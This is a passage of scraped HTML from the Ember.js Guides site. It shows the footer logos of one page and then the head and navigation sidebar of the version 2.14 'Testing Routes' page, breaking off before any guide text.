class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Ember%20Octane%20is%20here!%20A%20lot%20has%20changed%20since%20Ember%203.14%2C%20including%20these%20Guides.%20Read%20more%20in%20the%20%3Ca%20href%3D%5C%22https%3A%2F%2Fblog.emberjs.com%2F2019%2F12%2F20%2Foctane-is-here.html%5C%22%3EEmber%20Blog%3C%2Fa%3E.%22%7D%2C%22exportApplicationGlobal%22%3Afalse%2C%22fastboot%22%3A%7B%22hostWhitelist%22%3A%5B%7B%7D%5D%7D%2C%22ember-collapsible-panel%22%3A%7B%7D%7D" /> <!-- EMBER_CLI_FASTBOOT_TITLE --> <meta name="ember-cli-head-start" content> <title>Testing Routes - Testing - Ember Guides</title> <meta name="description" content="Unit testing methods and computed properties follows previous patterns shown in Unit Testing Basics because Ember.Route extends Ember.Object. Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better..."> <meta name="referrer" content="unsafe-url"> <!----> <!----> <!----> <!----> <meta property="og:title" content="Testing Routes - Testing - Ember Guides"> <!----> <meta property="og:description" content="Unit testing methods and computed properties follows previous patterns shown in Unit Testing Basics because Ember.Route extends Ember.Object. Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better..."> <meta property="og:type" content="website"> <!----> <meta name="twitter:card" content="summary"> <!----> <!----> <meta name="twitter:title" content="Testing Routes - Testing - Ember Guides"> <!----> <meta name="twitter:description" content="Unit testing methods and computed properties follows previous patterns shown in Unit Testing Basics because Ember.Route extends Ember.Object. Testing routes can be done both via acceptance or unit tests. Acceptance tests will likely provide better..."> <!----> <!----> <!----><meta name="ember-cli-head-end" content> <link integrity="" rel="stylesheet" href="/assets/vendor-c5cdfdb224e40208d070a18942b32fd3.css"> <link integrity="" rel="stylesheet" href="/assets/ember-guides-92dca9f7555a994d11fd3e94376c4753.css"> <link rel="shortcut icon" href="/images/favicon.png" /> </head> <body class="application version show version-show"> <script type="x/boundary" id="fastboot-body-start"></script><!----> <header id="ember257151" class="es-header ember-view" role="banner"><div id="ember257152" class="ember-view"><div class="container"> <nav id="ember257153" class="navbar navbar-inverse navbar-expand-lg bg-inverse ember-view"> <a class="navbar-brand" href="https://www.emberjs.com"> <svg width="94" height="37" viewBox="0 0 259 100" xmlns="http://www.w3.org/2000/svg"><title>Ember Logo 1c White</title><g fill="#FFF" fill-rule="evenodd"><path d="M253.97 68.576s-6.28 4.872-11.807 4.328c-5.528-.544-3.792-12.896-3.792-12.896s1.192-11.328-2.064-12.28c-3.248-.944-7.256 2.952-7.256 2.952s-4.984 5.528-7.368 12.576l-.656.216s.76-12.36-.104-15.176c-.648-1.408-6.608-1.296-7.584 1.192-.976 2.496-5.744 19.832-6.072 27.096 0 0-9.32 7.912-17.44 9.208-8.128 1.304-10.08-3.792-10.08-3.792s22.104-6.176 21.344-23.84c-.752-17.664-17.824-11.128-19.752-9.68-1.872 1.408-11.848 7.424-14.76 24.088-.096.56-.272 3.04-.272 3.04s-8.56 5.736-13.328 7.256c0 0 13.328-22.432-2.92-32.616-4.574-2.753-8.56-.216-10.929 2.11-1.451 1.425 19.705-21.718 14.825-42.422C151.635.08 146.707-.976 142.187.624c-6.864 2.704-9.464 6.712-9.464 6.712s-8.888 12.896-10.952 32.08c-2.056 19.176-5.088 42.368-5.088 42.368s-4.232 4.12-8.128 4.336c-3.904.208-2.168-11.6-2.168-11.6s3.032-17.984 2.824-21.024c-.224-3.032-.44-4.656-4.016-5.736-3.576-1.088-7.48 3.464-7.48 3.464s-10.288 15.6-11.152 17.984l-.552.984-.536-.656s7.256-21.24.328-21.56c-6.936-.328-11.488 7.584-11.488 7.584s-7.912 13.224-8.24 14.736l-.536-.648s3.248-15.384 2.6-19.184c-.656-3.792-4.224-3.032-4.224-3.032s-4.552-.544-5.744 2.384c-1.192 2.928-5.528 22.32-6.072 28.496 0 0-11.376 8.128-18.856 8.232-7.472.112-6.712-4.736-6.712-4.736s27.416-9.384 19.936-27.912c-3.36-4.768-7.256-6.264-12.784-6.16-5.528.112-12.384 3.48-16.824 13.448-2.128 4.752-2.896 9.272-3.336 12.68 0 0-4.792.984-7.392-1.184-2.608-2.168-3.944 0-3.944 0s-4.464 5.696-.024 7.424c4.448 1.736 11.376 2.544 11.376 2.544.64 3.032 2.488 8.192 7.904 12.296 8.128 6.176 23.72-.568 23.72-.568l6.392-3.584s.216 5.864 4.88 6.72c4.656.856 6.608-.016 14.736-19.736 4.768-10.08 5.096-9.536 5.096-9.536.536-.112-3.144 19.176-1.736 24.376 1.408 5.208 7.584 4.664 7.584 4.664s3.36.648 6.072-8.888c2.704-9.536 7.912-20.048 7.912-20.048.64 0-1.632 19.72 1.832 26.008 3.472 6.288 12.464 2.112 12.464 2.112s6.288-3.168 7.264-4.144c0 0 7.456 6.352 17.976 5.2 23.52-4.632 31.888-10.888 31.888-10.888s4.04 10.24 16.56 11.192c14.296 1.08 22.104-7.912 22.104-7.912s-.112 5.848 4.872 7.912c4.992 2.056 8.344-9.52 8.344-9.52l8.344-22.992c.76 0 1.192 14.952 9.432 17.336 8.232 2.384 18.96-5.584 18.96-5.584s2.6-1.432 2.168-5.768c-.44-4.336-4.336-2.72-4.336-2.72zM36.93 57.728c2.92 2.816 1.84 8.88-3.687 12.672-5.52 3.8-8.016 3.04-8.016 3.04.328-12.896 8.784-18.536 11.704-15.712zm107.817-44.536c1.84 9.752-16.144 38.792-16.144 38.792.216-6.504 6.608-28.496 6.608-28.496s7.688-20.048 9.536-10.296zM126.97 87.2s-1.408-4.768 2.6-18.096c4.016-13.328 13.44-8.128 13.44-8.128s6.504 4.984 1.408 18.312C139.33 92.616 126.97 87.2 126.97 87.2zm54.832-26.112c4.44-8.128 7.912-3.688 7.912-3.688s3.792 4.12-.544 10.296c-4.336 6.176-10.616 5.744-10.616 5.744s-1.192-4.232 3.248-12.352z"/><path d="M226.028 93.977v-1.555h.986c.137 0 .274.015.418.03.144.02.28.057.396.107.122.05.216.122.288.216.079.094.115.223.115.382 0 .36-.108.59-.324.684-.216.093-.497.136-.835.136h-1.044zm-1.174-2.47v5.92h1.174v-2.528h.734l1.44 2.527h1.231l-1.584-2.585a2.8 2.8 0 0 0 .612-.13c.187-.064.353-.158.49-.28.144-.122.252-.28.331-.475.086-.195.122-.425.122-.699 0-.64-.201-1.094-.597-1.353-.403-.267-.98-.396-1.72-.396h-2.233zm-1.88 2.967c0-.605.102-1.159.31-1.663.21-.504.49-.936.85-1.303a3.853 3.853 0 0 1 1.26-.864 3.93 3.93 0 0 1 1.562-.31c.548 0 1.066.101 1.548.31.49.209.908.497 1.268.864s.64.8.856 1.303c.21.504.317 1.058.317 1.663s-.108 1.16-.317 1.67c-.216.505-.496.951-.856 1.318-.36.375-.778.663-1.268.871-.482.21-1 .31-1.548.31a3.93 3.93 0 0 1-1.562-.31 3.765 3.765 0 0 1-1.26-.87 4.109 4.109 0 0 1-.85-1.318 4.366 4.366 0 0 1-.31-1.67zm-1.446 0c0 .814.15 1.541.446 2.19.302.654.698 1.209 1.195 1.67.504.46 1.08.813 1.735 1.058.656.245 1.34.367 2.052.367.72 0 1.404-.122 2.06-.367a5.282 5.282 0 0 0 1.735-1.059 5.234 5.234 0 0 0 1.195-1.67c.295-.648.44-1.375.44-2.189 0-.799-.145-1.526-.44-2.174a5.125 5.125 0 0 0-2.93-2.722 5.675 5.675 0 0 0-2.06-.374c-.712 0-1.396.122-2.052.374a5.125 5.125 0 0 0-2.93 2.722c-.295.648-.446 1.375-.446 2.174z"/></g></svg> </a> <button id="ember257154" class="navbar-toggler collapsed ember-view"> <span class="navbar-toggler-icon"></span> </button> <div id="ember257155" class="navbar-collapse collapse ember-view"><ul id="ember257156" class="mr-auto nav navbar-nav ember-view"><!----><li id="ember257157" class="dropdown nav-item ember-view"> <a href="#" id="ember257158" class="dropdown-toggle nav-link ember-view" role="button">Docs <span class="caret"></span></a> <!----> </li> <!----><li id="ember257160" class="dropdown nav-item ember-view"> <a href="#" id="ember257161" class="dropdown-toggle nav-link ember-view" role="button">Releases <span class="caret"></span></a> <!----> </li> <li id="ember257163" class="nav-item ember-view"> <a href="https://emberjs.com/blog" class="nav-link">Blog</a> </li><!----> <!----><li id="ember257164" class="dropdown nav-item ember-view"> <a href="#" id="ember257165" class="dropdown-toggle nav-link ember-view" role="button">Community <span class="caret"></span></a> <!----> </li> <!----><li id="ember257167" class="dropdown nav-item ember-view"> <a href="#" id="ember257168" class="dropdown-toggle nav-link ember-view" role="button">About <span class="caret"></span></a> <!----> </li> </ul><ul id="ember257170" class="nav navbar-nav ember-view"> <form> <div id="ember257171" class="search-input ember-view"> <input id="search-input" placeholder="Search the guides" autocomplete="off" type="search"> <div id="ember257172" class="ds-dropdown-results ember-tether ember-view"><!----></div></div> </form> </ul> </div> </nav></div> </div> </header> <!----> <div class="info-banner-wrapper"> <div class="info-banner-container"> <div id="ember257173" class="ember-view"><p>Ember Octane is here! A lot has changed since Ember 3.14, including these Guides. Read more in the <a href="https://blog.emberjs.com/2019/12/20/octane-is-here.html">Ember Blog</a>.</p> </div> </div> </div> <main class="container"> <aside class="sidebar"> <label for="version-select" class="visually-hidden">Guides version</label> <div id="ember257174" class="ember-basic-dropdown ember-view"> <div aria-label="v2.14.0" aria-owns="ember-basic-dropdown-content-ember257174" tabindex="0" data-ebd-id="ember257174-trigger" role="button" id="ember257175" class="ember-power-select-trigger ember-basic-dropdown-trigger ember-basic-dropdown-trigger--in-place ember-view"> <span class="ember-power-select-selected-item"> 2.14 <!----> </span> <!----><span class="ember-power-select-status-icon"></span> </div> <div id="ember-basic-dropdown-content-ember257174" class="ember-basic-dropdown-content-placeholder" style="display: none;"></div> </div> <input id="toc-toggle" class="toc-toggle visually-hidden" type="checkbox"> <label for="toc-toggle">Table of Contents <span class="visually-hidden">toggle</span></label> <nav class="toc-container versions" aria-label="table of contents"> <ol id="ember257179" class="toc-level-0 ember-view"><!----> <li class="toc-group toc-level-0"> <div id="ember257182" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/getting-started" id="ember257183" class="cp-Panel-toggle ember-view"> Getting Started </a> <div id="ember257184" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257186" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/tutorial" id="ember257187" class="cp-Panel-toggle ember-view"> Tutorial </a> <div id="ember257188" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257190" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/object-model" id="ember257191" class="cp-Panel-toggle ember-view"> The Object Model </a> <div id="ember257192" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257194" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/routing" id="ember257195" class="cp-Panel-toggle ember-view"> Routing </a> <div id="ember257196" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257198" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/templates" id="ember257199" class="cp-Panel-toggle ember-view"> Templates </a> <div id="ember257200" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257202" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/components" id="ember257203" class="cp-Panel-toggle ember-view"> Components </a> <div id="ember257204" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257206" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/controllers" id="ember257207" class="cp-Panel-toggle ember-view"> Controllers </a> <div id="ember257208" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257210" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/models" id="ember257211" class="cp-Panel-toggle ember-view"> Models </a> <div id="ember257212" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257214" class="cp-Panel cp-is-closed ember-view"><a href="/v2.14.0/applications" id="ember257215" class="cp-Panel-toggle ember-view"> Application Concerns </a> <div id="ember257216" class="cp-Panel-body ember-view"> <!----> </div> </div> </li> <li class="toc-group toc-level-0"> <div id="ember257218" class="cp-Panel cp-is-open ember-view"><a href="/v2.14.0/testing" id="ember257219" class="cp-Panel-toggle ember-view"> Testing </a> <div id="ember257220" class="cp-Panel-body cp-is-open ember-view"> <div class="cp-Panel-body-inner"> <ol id="ember257221" class="toc-level-1 ember-view"> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/index" id="ember257223" class="ember-view"> Introduction </a> </li> <li class="toc-link toc-level-1 "> <a href="/v2.14.0/testing/acceptance" id="ember257225" class="ember-view"> Acceptance Tests </a> </li> <li class="toc-link 